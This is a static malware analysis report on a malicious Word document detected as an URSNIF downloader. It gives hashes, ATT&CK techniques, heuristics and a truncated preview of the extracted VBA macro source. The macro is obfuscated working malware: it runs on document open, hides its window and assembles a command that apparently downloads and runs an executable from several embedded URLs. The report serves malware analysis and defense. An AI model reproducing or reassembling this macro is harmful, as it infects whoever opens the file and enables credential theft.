Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3374d863e7f6de36…

MALICIOUS

Office (OLE)

74.0 KB Created: 2018-09-11 15:28:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: b6119244f448bd240b23a4acc1941279 SHA-1: ce84d9d1491e6bde2993115e50997b6c292b3d21 SHA-256: 3374d863e7f6de3611ff4aadaecacdc54784571f27631b87f7fdd9e9f8b39237
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious Office documents. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute arbitrary commands. ClamAV detection as URSNIF further supports its malicious nature. The macro likely downloads and executes a second-stage payload, although the specific URL is not directly extractable due to obfuscation.

Heuristics 5

  • ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5842 bytes
SHA-256: 81eca7318bdfb1523366f5faac7aeb1cef8bb810a1ae6f52d26d8ef92bdc2b84
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GFmOzRF"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
   VarType "418090305" + "oFs" + "b" + "AwKnw"
   VarType "pra" + "G"
   VarType "CBE" + "99418355"
   VarType "3857" + "1765" + "OtJOiIoSzu" + "usaT"
   VarType "rnL" + "Emiaz" + "z" + "P"
   VarType "kPJYG" + "PvXRnQLMNXHCSO"
   VarType "1925" + "n"
   VarType "l" + "4684" + "AC" + "wwMYATz"
Shell KwTnXIpLAD + nEpjLvc, Format(vbHide)
   VarType "3172" + "tkpjjOH" + "jzBsQjL" + "hctzKthcwR"
   VarType "zF" + "W" + "SZdCSEB" + "JU"
   VarType "137523064" + "4361"
   VarType "2156" + "DiTaAuLNH" + "9266" + "B"
End Sub



Attribute VB_Name = "jOAiZiHlazDN"
Function KwTnXIpLAD()

On _
Error _
Resume _
Next
VarType "9640" + "3568"
   VarType "vMjKsL" + "GmY"
   VarType "IpW" + "WvqTwvR"
MiJpMvujJ = Format(Chr(13 + 7 + 16 + 14 + 49)) + "md " + "/V:^" + "O/" + Format(Chr(9 + 5 + 11 + 9 + 33)) + Format(Chr(4 + 2 + 5 + 4 + 19)) + "^se" + "^t ^" + "oJ^1z= "
VarType "318073324" + "OHVHBImQpOHFs"
   VarType "tVpOBUd" + "iMSMDXV"
mYqZKI = "^ ^   " + "^ " + "^  " + "^ ^  " + " ^  " + "^  " + "^ }" + "^}^{h" + Format(Chr(13 + 7 + 16 + 14 + 49)) + "ta"
VarType "dhi" + "puJrQFwbE"
dwTwhMzWHZP = Format(Chr(13 + 7 + 16 + 14 + 49)) + "^};^k" + "aer^b^" + ";" + "^as^O^$" + "^ m" + "^et^I" + "^-"
VarType "NRjAzYkWrvi" + "jtTzAUOQF" + "512696" + "339117110"
   VarType "74117431" + "vFKEYm" + "H" + "wQ"
jGmOzt = "e" + "k^ovnI^" + ";)^" + "as^" + "O^$^ " + "^" + "," + Format(Chr(9 + 5 + 11 + 9 + 33)) + "^I" + Format(Chr(9 + 5 + 11 + 9 + 33)) + "^" + "$(e^l^" + "iF^d^" + "ao" + "ln^w^o^"
VarType "GmE" + "LGtL"
   VarType "b" + "lzh" + "41291579" + "lovn"
   VarType "W" + "4591"
iPWQUbtGww = "D.^Sj^E" + "$^{^yr" + "^t{)" + "j^d" + "M" + "$^ " + "n^i^" + " " + Format(Chr(9 + 5 + 11 + 9 + 33)) + "^I" + Format(Chr(9 + 5 + 11 + 9 + 33)) + "$(^h" + Format(Chr(13 + 7 + 16 + 14 + 49)) + "a^" + "ero^f;^"
VarType "ooQzSjQ" + "8977"
   VarType "420714550" + "mbXjAis"
   VarType "iJUt" + "mjrC"
pqijzKBCs = "'e^x" + "e^.'+^G" + "R" + "^S^$+" + "^'^" + "\^'^+" + Format(Chr(13 + 7 + 16 + 14 + 49)) + "il^bu" + "^p^:vn" + "^" + "e^$" + "^=as" + "^"
VarType "4149" + "zkk" + "SFu" + "pnVkh"
JSXuRN = "O$;" + "^'" + "1^9" + "6^" + "'^ " + "= ^GRS" + "^$" + "^;)^'"
KwTnXIpLAD = MiJpMvujJ + mYqZKI + dwTwhMzWHZP + jGmOzt + iPWQUbtGww + pqijzKBCs + JSXuRN
   VarType "4672" + "432591372" + "oczEDkma" + "NQkzjrwXj"
   VarType "MuQCtVEX" + "QSoHOwKdF" + "KSFvXMzS" + "t"
   VarType "9939" + "RXj"
   VarType "4813" + "7473"
End Function
Function nEpjLvc()

On _
Error _
Resume _
Next
VarType "PbXrJ" + "Tufapafic"
   VarType "wcUi" + "ZkRQtQGWrdw" + "314548701" + "2331"
   VarType "255579257" + "530761912" + "tfs" + "Ur"
   VarType "ZnSsiKHw" + "pwDC" + "7087" + "YLAZjrGA"
uJiwRwk = "@^'(ti^" + "lpS.'^w" + "^" + "WDi^" + "U/^ur^" + ".^03" + "dr^"
VarType "IwcTZF" + "1938036"
   VarType "7346" + "ZJ" + "YaoOaNkb" + "8973"
   VarType "zRqd" + "K"
oplziFK = "a^g" + "n" + "av^a/" + "/:p^tth" + "@^m" + Format(Chr(13 + 7 + 16 + 14 + 49)) + "m/r" + "^i^" + ".z"
VarType "1711" + "v"
   VarType "PO" + "wnDn"
   VarType "Iu" + "147674304" + "845" + "Gbl"
   VarType "362332574" + "5135" + "268998550" + "NV"
ijXviA = "ain" + "^kar" + "t^" + "a//^:pt" + "t^h@^B" + Format(Chr(9 + 5 + 11 + 9 + 33)) + "^4"
VarType "5927" + "T"
   VarType "4191" + "ON"
   VarType "RvzVrYooB" + "497279326"
   VarType "G" + "269333437"
UPmiZXdfLB = "^i^A^b5" + "X/ri^.^" + "o" + Format(Chr(13 + 7 + 16 + 14 + 49)) + "r^o" + "tomraza" + "^b/" + "/:p^t^"
VarType "P" + "z"
   VarType "ndiraI" + "EmYOYEQRB"
   VarType "SPwIXP" + "B" + "UCFz" + "6920"
RzzOE = "t^h^" + "@Y" + "^" + "dr^xH/" + "^z^k^.p" + "^e" + Format(Chr(13 + 7 + 16 + 14 + 49)) + "^ir" + "pot^" + "ua/" + "/"
VarType "w" + "zNTJimJNP" + "259
... (truncated)